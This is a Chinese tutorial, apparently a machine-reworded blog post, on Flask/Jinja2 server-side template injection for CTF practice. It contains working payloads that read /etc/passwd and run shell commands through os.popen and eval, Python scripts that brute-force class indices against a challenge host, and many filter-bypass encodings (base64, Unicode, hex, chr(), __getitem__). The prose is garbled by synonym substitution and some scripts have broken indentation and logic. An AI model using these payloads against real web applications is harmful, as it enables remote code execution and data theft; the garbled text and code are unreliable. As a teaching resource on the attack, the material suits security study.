python沙箱逃逸之基于flask,jinja2模板的SSTI注入

前言

之前对ssti停止了较为粗浅的学习,经过考核发现了不少问题,东西没有学透,太不扎实了,本人独立做题的话会由于不同的过滤之类的呈现很多的问题,刷题也都是机械性的,属于是无效刷题。在发现本人千疮百孔的ssti学习之后,痛定思痛决议对ssti重新再来一遍

SSTI是什么

SSTI 全称(Server-Side Template Injection),中文名效劳端模板注入,是由于承受用户输入而形成的平安问题,和sql注入有类似性。

它的本质在于效劳器端承受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一局部,但是在停止编译渲染的过程中,执行了用户输入的歹意代码,形成信息泄露,代码执行,getshell等问题。

这个问题主要是出在web应用模板渲染的过程中,而python中的一个微型框架flask主要就是运用的jinja2来作为渲染模板,因而主要学习关于python flask的jinja2引发的SSTI。

效劳器模板注入,那么什么是模板呢?

模板及模板引擎

换句话说,模板就是一段话中存在可动态交换的局部。

print("hello{username}")

其中的username是能够人为输入或者产生影响的,能够动态交换。由于这句代码可以由于不同的username而显现不同的结果,因而我们能够简单的把这段话了解为一个模板。

而模板引擎的作用是为了运用户界面与业务数据或内容生成特定的文档。

换句话说这一过程能够简述为:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成 html 的文本,最后返回给阅读器.

但是渲染的数据是业务数据,且大多数都由用户提供,这就意味着用户对输入可控.假如后端没有对用户的输入停止检测和判别,那么就容易产生代码和数据混杂,从而产生注入破绽能够被人注入。

Flask-jinja2 SSTI 普通应用姿态

常用的魔术办法

之前做题的时分对其他大佬的payload总是看的博古通今,不晓得为什么这样组合,为什么这样调用,如今从头再学,重新理解一下魔术办法的作用和组合。

ssti是源于python的,且经过import引入了许多的类与办法。python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类构造的基类都是object,而object具有众多的子类。

那字符串,字典,元组,列表有啥区别呢


字符串:str是不可变的,双引号或者单引号中的数据,就是字符串。str可停止的操作:下表索引、切片。

元组:python的元组与列表相似,能够停止下标索引、切片,不同之处在于元组的元素不能修正,它是不可变的有序汇合。元组运用小括号,列表运用方括号,正是由于tuple不可变,所以代码更平安,假如可能,能用tuple替代list就尽量用tuple。

序列类型:[data1,data2….]

tuple的留意点:tuple=(1,),只要1个元素的tuple定义时必需加一个逗号

字典:用{ }表示,是无序的,可变的,在其他言语中也称为map,运用键-值(key-value)存储,具有极快的查找速度,键不可变,是一个可hash对象,键值可变

映射类型:经过键与键值映射完成数据存储和查找

表示方式:{key1:value1,key2:value2……}

列表:list存储一系列有序汇合,用[ ]括起来,列表中的元素是可变的,即能够对列表停止修正

序列类型:数据有位置次第

表示方式:[data1,data2…..]


__class__:用来查看变量所属的类,依据前面的变量方式能够得到其所属的类。 class 是类的一个内置属性,表示类的类型,返回 ; 也是类的实例的属性,表示实例对象的类。简单来说,是用来返回的办法,用此办法来查看查找的内容。

>>> ''.__class__
<type 'str'>           //字符串
>>> ().__class__
<type 'tuple'>         //元组
>>> [].__class__
<type 'list'>          //列表
>>> {}.__class__
<type 'dict'>          //字典

__bases__:用来查看类的基类,也能够运用数组索引来查看特定位置的值。 经过该属性能够查看该类的一切直接父类,该属性返回一切直接父类组成的元组(固然只要一个元素)。留意是直接父类。简单来说就是返回类型列表,得和读取的连起来运用,比方说__class__

>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> {}.__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__[0].__bases__[0] // python2下雨python3下不同
<type 'object'>
>>> [].__class__.__bases__[0]
<type 'object'>

__mro__:能够用来获取一个类的的调用次第,能够用此办法来获取基类

>>> ''.__class__.__mro__    // python2下和python3下不同
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> {}.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)
>>> ().__class__.__mro__[1] // 返回的是一个类元组,运用索引就能获取基类了
<class 'object'>

__base__:运用此办法也能够直接获取基类

>>> ''.__class__.__base__
<class 'object'>             //python3下的
>>> ''.__class__.__base__    //python2下的
<type 'basestring'>
>>> [].__class__.__base__
<type 'object'>
>>> {}.__class__.__base__
<type 'object'>
>>> ().__class__.__base__
<type 'object'>

当控制了这些类继承的办法,我们能够从任何一个变量回溯到最开端的基类<clas'object'>中,再去取得这个最开端的基类一切能完成的子类,既能够有很多的类和办法了。

__subclass__():查看当前类的子类组成的列表,即返回基类object的子类。

>>>''.__class__.__bases__
(<class 'object'>)
>>>''.__class__.__bases__[0]
<class 'object'>
>>>''.__class__.__bases__.__subclasses__()
报错

关于这里的报错有些不解,问了一下S神

在第一次访问时返回的是(<class 'object'>)其外面有()的包裹,返回的为一整个数组,在第二次访问时选中了第0个,看到了没有()包裹的<class 'object'>这样才返回了object类,所以说报错的缘由在于没有选中数组的第0个,只要选中了第0个才干在object类下面看到其子类。

修正一下

>>> ''.__class__.__bases__[0].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>,
<class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, 
<class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, 
<class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>,
<class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, 
<class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, 
<class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, 
<class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, 
<class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, 
<class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, 
<class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, 
<class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, 
<class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, 
<class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, 
<class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, 
<class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, 
<class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, 
<class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'PyHKEY'>, 
<class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, 
<class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>,
<class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, 
<class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, 
<class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, 
<class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, 
<class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, 
<class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

爆出来了很多的子类,而且十分杂乱,查阅起来有艰难,我们整理一下:

python2下的类的运用和python3下类的运用有所不同,我们分开放

#python2
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
(44, <type 'iterator'>)
(45, <type 'sys.long_info'>)
(46, <type 'sys.float_info'>)
(47, <type 'EncodingMap'>)
(48, <type 'fieldnameiterator'>)
(49, <type 'formatteriterator'>)
(50, <type 'sys.version_info'>)
(51, <type 'sys.flags'>)
(52, <type 'sys.getwindowsversion'>)
(53, <type 'exceptions.BaseException'>)
(54, <type 'module'>)
(55, <type 'imp.NullImporter'>)
(56, <type 'zipimport.zipimporter'>)
(57, <type 'nt.stat_result'>)
(58, <type 'nt.statvfs_result'>)
(59, <class 'warnings.WarningMessage'>)
(60, <class 'warnings.catch_warnings'>)
(61, <class '_weakrefset._IterationGuard'>)
(62, <class '_weakrefset.WeakSet'>)
(63, <class '_abcoll.Hashable'>)
(64, <type 'classmethod'>)
(65, <class '_abcoll.Iterable'>)
(66, <class '_abcoll.Sized'>)
(67, <class '_abcoll.Container'>)
(68, <class '_abcoll.Callable'>)
(69, <type 'dict_keys'>)
(70, <type 'dict_items'>)
(71, <type 'dict_values'>)
(72, <class 'site._Printer'>)
(73, <class 'site._Helper'>)
(74, <class 'site.Quitter'>)
(75, <class 'codecs.IncrementalEncoder'>)
(76, <class 'codecs.IncrementalDecoder'>)
(77, <type '_sre.SRE_Pattern'>)
(78, <type '_sre.SRE_Match'>)
(79, <type '_sre.SRE_Scanner'>)
(80, <type 'operator.itemgetter'>)
(81, <type 'operator.attrgetter'>)
(82, <type 'operator.methodcaller'>)
(83, <type 'functools.partial'>)
(84, <type 'MultibyteCodec'>)
(85, <type 'MultibyteIncrementalEncoder'>)
(86, <type 'MultibyteIncrementalDecoder'>)
(87, <type 'MultibyteStreamReader'>)
(88, <type 'MultibyteStreamWriter'>)
#python3
(0, <class 'type'>)
(1, <class 'weakref'>)
(2, <class 'weakcallableproxy'>)
(3, <class 'weakproxy'>)
(4, <class 'int'>)
(5, <class 'bytearray'>)
(6, <class 'bytes'>)
(7, <class 'list'>)
(8, <class 'NoneType'>)
(9, <class 'NotImplementedType'>)
(10, <class 'traceback'>)
(11, <class 'super'>)
(12, <class 'range'>)
(13, <class 'dict'>)
(14, <class 'dict_keys'>)
(15, <class 'dict_values'>)
(16, <class 'dict_items'>)
(17, <class 'dict_reversekeyiterator'>)
(18, <class 'dict_reversevalueiterator'>)
(19, <class 'dict_reverseitemiterator'>)
(20, <class 'odict_iterator'>)
(21, <class 'set'>)
(22, <class 'str'>)
(23, <class 'slice'>)
(24, <class 'staticmethod'>)
(25, <class 'complex'>)
(26, <class 'float'>)
(27, <class 'frozenset'>)
(28, <class 'property'>)
(29, <class 'managedbuffer'>)
(30, <class 'memoryview'>)
(31, <class 'tuple'>)
(32, <class 'enumerate'>)
(33, <class 'reversed'>)
(34, <class 'stderrprinter'>)
(35, <class 'code'>)
(36, <class 'frame'>)
(37, <class 'builtin_function_or_method'>)
(38, <class 'method'>)
(39, <class 'function'>)
(40, <class 'mappingproxy'>)
(41, <class 'generator'>)
(42, <class 'getset_descriptor'>)
(43, <class 'wrapper_descriptor'>)
(44, <class 'method-wrapper'>)
(45, <class 'ellipsis'>)
(46, <class 'member_descriptor'>)
(47, <class 'types.SimpleNamespace'>)
(48, <class 'PyCapsule'>)
(49, <class 'longrange_iterator'>)
(50, <class 'cell'>)
(51, <class 'instancemethod'>)
(52, <class 'classmethod_descriptor'>)
(53, <class 'method_descriptor'>)
(54, <class 'callable_iterator'>)
(55, <class 'iterator'>)
(56, <class 'pickle.PickleBuffer'>)
(57, <class 'coroutine'>)
(58, <class 'coroutine_wrapper'>)
(59, <class 'InterpreterID'>)
(60, <class 'EncodingMap'>)
(61, <class 'fieldnameiterator'>)
(62, <class 'formatteriterator'>)
(63, <class 'BaseException'>)
(64, <class 'hamt'>)
(65, <class 'hamt_array_node'>)
(66, <class 'hamt_bitmap_node'>)
(67, <class 'hamt_collision_node'>)
(68, <class 'keys'>)
(69, <class 'values'>)
(70, <class 'items'>)
(71, <class 'Context'>)
(72, <class 'ContextVar'>)
(73, <class 'Token'>)
(74, <class 'Token.MISSING'>)
(75, <class 'moduledef'>)
(76, <class 'module'>)
(77, <class 'filter'>)
(78, <class 'map'>)
(79, <class 'zip'>)
(80, <class '_frozen_importlib._ModuleLock'>)
(81, <class '_frozen_importlib._DummyModuleLock'>)
(82, <class '_frozen_importlib._ModuleLockManager'>)
(83, <class '_frozen_importlib.ModuleSpec'>)
(84, <class '_frozen_importlib.BuiltinImporter'>)
(85, <class 'classmethod'>)
(86, <class '_frozen_importlib.FrozenImporter'>)
(87, <class '_frozen_importlib._ImportLockContext'>)
(88, <class '_thread._localdummy'>)
(89, <class '_thread._local'>)
(90, <class '_thread.lock'>)
(91, <class '_thread.RLock'>)
(92, <class '_frozen_importlib_external.WindowsRegistryFinder'>)
(93, <class '_frozen_importlib_external._LoaderBasics'>)
(94, <class '_frozen_importlib_external.FileLoader'>)
(95, <class '_frozen_importlib_external._NamespacePath'>)
(96, <class '_frozen_importlib_external._NamespaceLoader'>)
(97, <class '_frozen_importlib_external.PathFinder'>)
(98, <class '_frozen_importlib_external.FileFinder'>)
(99, <class 'nt.ScandirIterator'>)
(100, <class 'nt.DirEntry'>)
(101, <class '_io._IOBase'>)
(102, <class '_io._BytesIOBuffer'>)
(103, <class '_io.IncrementalNewlineDecoder'>)
(104, <class 'PyHKEY'>)
(105, <class 'zipimport.zipimporter'>)
(106, <class 'zipimport._ZipImportResourceReader'>)
(107, <class 'codecs.Codec'>)
(108, <class 'codecs.IncrementalEncoder'>)
(109, <class 'codecs.IncrementalDecoder'>)
(110, <class 'codecs.StreamReaderWriter'>)
(111, <class 'codecs.StreamRecoder'>)
(112, <class '_abc._abc_data'>)
(113, <class 'abc.ABC'>)
(114, <class 'dict_itemiterator'>)
(115, <class 'collections.abc.Hashable'>)
(116, <class 'collections.abc.Awaitable'>)
(117, <class 'types.GenericAlias'>)
(118, <class 'collections.abc.AsyncIterable'>)
(119, <class 'async_generator'>)
(120, <class 'collections.abc.Iterable'>)
(121, <class 'bytes_iterator'>)
(122, <class 'bytearray_iterator'>)
(123, <class 'dict_keyiterator'>)
(124, <class 'dict_valueiterator'>)
(125, <class 'list_iterator'>)
(126, <class 'list_reverseiterator'>)
(127, <class 'range_iterator'>)
(128, <class 'set_iterator'>)
(129, <class 'str_iterator'>)
(130, <class 'tuple_iterator'>)
(131, <class 'collections.abc.Sized'>)
(132, <class 'collections.abc.Container'>)
(133, <class 'collections.abc.Callable'>)
(134, <class 'os._wrap_close'>)
(135, <class 'os._AddedDllDirectory'>)
(136, <class '_sitebuiltins.Quitter'>)
(137, <class '_sitebuiltins._Printer'>)
(138, <class '_sitebuiltins._Helper'>)

能够看出2.7有的3.6大局部都有,但还是有一些子类是不一样的。

SSTI的主要目的就是从这么多的子类中找出能够应用的类(普通是指读写文件或执行命令的类)加以应用。

但python的版本不同,要应用的类的位置就不同,索引号就不同,下面自创了一下S神的遍历python环境中类的脚本:

#by S神
import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'
}
for i in range(500):
    url = "http://xxx.xxx.xxx.xxx:xxxx/?get参数={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

    res = requests.get(url=url,headers=headers)
    if 'FileLoader' in res.text: #以FileLoader为例
        print(i)

# 得到编号为79
#by S神
import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'
}
for i in range(500):
    url = "http://xxx.xxx.xxx.xxx:xxxx/"
    postPara = {"post参数":"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
    res = requests.post(url=url,headers=headers,data=postPara)
    if 'FileLoader' in res.text: #以FileLoader为例,查找其他命令时就用其他子类
        print(i)

# 得到编号为79

__builtins__:以一个汇合的方式查看援用

builtins是python中的一个模块。该模块提供对Python的一切“内置”标识符的直接访问;例如,builtins.open 是内置函数的全名 open() 。

当我们启动一个python解释器时,即便没有创立任何变量或者函数,还是会有很多函数运用,我们称之为内建函数。

内建函数并不需求我们本人做定义,而是在启动python解释器的时分,就曾经导入到内存中供我们运用。

__builtins__办法是作为默许初始模块呈现的,可用于查看当前一切导入的内建函数。

__globals__:该办法会以字典的方式返回当前位置的一切全局变量,与 func_globals 等价。该属性
是函数特有的属性,记载当前文件全局变量的值,假如某个文件调用了os、sys等库,但我们只能访问该
文件某个函数或者某个对象,那么我们就能够应用globals属性访问全局的变量。该属性保管的是函数全
局变量的字典援用。

__import__():该办法用于动态加载类和函数 。假如一个模块经常变化就能够运用 import()
来动态载入,就是 import 。语法: import(模块名)

这样我们在停止SSTI注入的时分就能够经过这种方式运用很多的类和办法,经过子类再去获取子类的子
类、更多的办法,找出能够应用的类和办法加以应用。总之,是经过python的对象的继承来一步步完成
文件读取和命令执行的:

找到父类<type 'object'> ---> 寻觅子类 ---> 找关于命令执行或者文件操作的模块。

用SSTI读取文件

python2

在上文中我们用__subclass__看到了基类的一切子类,在我们整理的子类中的第四十项(40, <type 'file'>)(实践的索引可能不同,需求动态辨认),能够用于读写文档

>>>[].__class__.__mro__[-1].__subclasses__()[40]
<type 'file'>
>>>[].__class__.__mro__[-1].__subclasses__()[40]("/etc/passwd").read()
'##\n# User Database\n# \......'
builtins

python3

运用file类读取文件的办法仅限于Python 2环境,在Python 3环境中file类曾经没有了。我们能够用
这个类去读取文件。

首先编写脚本遍历目的Python环境中 <class '_frozen_importlib_external.FileLoader'>这个类索引号:

import requests
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name=
{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
    res = requests.get(url=url, headers=headers)
    if 'FileLoader' in res.text:
        print(i)
# 得到编号为79

应用SSTI执行命令

能够用来执行命令的类有很多,其根本原理就是遍历含有eval函数即os模块的子类,应用这些子类中的
eval函数即os模块执行命令。

寻觅内建函数eval执行命令

import requests

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'}
for i in range(500):
    url = "http://3d25cf80-d891-4046-86a7-931d17efb62d.challenge.ctf.show/?name=\
        {{().__class__.__bases__[0].__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"

res = requests.get(url=url, headers=headers)
if 'eval' in res.text:
    print(i)

记住几个含有eval函数的类

warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
etc.

寻觅 os 模块执行命令

Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们能够运用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比拟常用的函数为popen()函数,而当popen()函数被过滤掉时,能够运用system()函数替代。

首先编写脚本遍历目的Python环境中含有os模块的类的索引号

import requests

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'}
for i in range(500):
    url = "http://3d25cf80-d891-4046-86a7-931d17efb62d.challenge.ctf.show/?name=\
        {{().__class__.__bases__[0].__subclasses__()[" + str(i) + "].__init__.__globals__}}"

res = requests.get(url=url, headers=headers)
if 'os.py' in res.text:
    print(i)

但是该办法遍历得到的类不精确,由于一些不相关的类名中也存在字符串 “os”,所以我们还要探究更有效的办法。
我们能够看到,即便是运用os模块执行命令,其也是调用的os模块中的popen函数,那我们也能够直接调用popen函数,存在popen函数的类普通是 os._wrap_close ,但也不绝对。由于目的Python环境的不同,我们还需求遍历一下。

寻觅 popen 函数执行命令

import requests

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'}
for i in range(500):
    url = "http://3d25cf80-d891-4046-86a7-931d17efb62d.challenge.ctf.show/?name=\
        {{().__class__.__bases__[0].__subclasses__()[" + str(i) + "].__init__.__globals__}}"

res = requests.get(url=url, headers=headers)
if 'popen' or 'os._wrap_close' in res.text:
    print(i)

如何绕过

在做题的时分我们会遇到各种各样的过滤,既然有过滤我们想要执行命令的话就必需绕过,那么如何绕过呢?

检查过滤

这里用到一款软件superdic,其可李用以自动生成fuzz字典,然后应用bp抓包工具对注入点停止注入,很容易就能够得到该题过滤了什么。

关键字绕过

拼接绕过

我们能够应用“+”停止字符串拼接,绕过关键字过滤

但是常常这种绕过需求一定的条件,返回的要是字典类型的或是字符串格式(即str)的,即payload中引号内的,在调用的时分才能够运用字符串拼接绕过,我们要学会怎样把被过滤的命令放在能拼接的中央。

{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}}

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}

payload中引号内的,在调用的时分都能够运用字符串拼接绕过。

编码绕过

base64编码绕过

对引号内的代码停止base64编码后再后接.decode('base64')能够停止绕过

例如

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

编码后为

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}

只需是字符串的,即payload中引号内的,都能够用编码绕过。同理还能够停止rot13,16进制编码。这一切都是基于我们能够执行命令完成的。

应用Unicode编码绕过

这种办法网上没有,看了whoami大神和S神的笔记才晓得还有这种办法。

例如

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

转换后为

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}

当我们运用eval来执行命令时简直一切命令都是置于引号之下的,所以我们应用对引号内的内容停止编码绕过的话是能够轻松绕过许多过滤的,例如对os,ls等的过滤。

应用hex编码绕过

当过滤了u时,上面的Unicode与base64编码就不灵了,所以我们需求运用一种与前两种编码方式区别较大的编码来停止绕过

我们能够应用hex编码的办法停止绕过

例如

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

转换后为

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}

这里留意,在停止hex编码的时分我们需求选用/x的方式,这样才干有效绕过。

应用引号绕过

单双引号都行,假设过滤了flag时,我们能够运用fl''ag或者fl""ag的方式来绕过

例如

().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read()

[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()

只需是字符串的,即payload中引号内的,都能够用引号绕过

应用join()函数绕过

我们能够应用join()函数来绕过关键字过滤。例如,标题过滤了flag,那么我们能够用如下办法绕过:

[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()

这也是基于对PHP函数命令的了解来的。

绕过其他字符

过滤了中括号[]

应用__getitem__()绕过

能够运用getitem()办法输出序列属性中某个索引处的元素(相当于[]),例如

>>> "".__class__.__mro__[2]
<type 'object'>
>>> "".__class__.__mro__.__getitem__(2)
<type 'object'>

所以我们能够得到

[]=__getitem__()

例子

{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}}       // 指定序列属性

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}       // 指定字典属性
应用字典读取绕过

我们晓得访问字典里的值有两种办法,一种是把相应的键放入熟习的方括号[]里来访问,一种就是用点.来访问。所以,当方括号[]被过滤之后,我们还能够用点.的方式来访问,如下示例

首先结构

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

绕过后

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval('__import__("os").popen("ls /").read()')}}
不难看出['__builitins__']=.__builtins__.
所以能够['']=..

过滤了引号''""

应用chr()绕过

由于学问比拟匮乏,所以补充了一下chr()函数是干啥的


描绘

chr() 用一个范围在 range(256)内的(就是0~255)整数作参数,返回一个对应的字符。

语法

以下是 chr() 办法的语法:

chr(i)

参数

  • i — 能够是10进制也能够是16进制的方式的数字。

返回值

返回值是当前整数对应的 ASCII 字符。


所以chr()这个函数能够绕过直接输入,应用返回的相对应的ASCll字符来执行命令

但是我们没法直接运用chr函数,所以我们需求先经过__builtins__来找到它(__builtins__办法是作为默许初始模块呈现的,可用于查看当前一切导入的内建函数。)

{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}

然后我们再去赋值给chr,后面拼接字符串

{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}

整合在一同就变成了

{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}

同等于

{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
应用request对象绕过

request有两种方式,request.argsrequest.values,当args被过滤时我们能够运用values,且这种办法POST和GET传送的数据都能够被接纳,相关于经过chr()停止绕过,这种办法更为简单和便利。

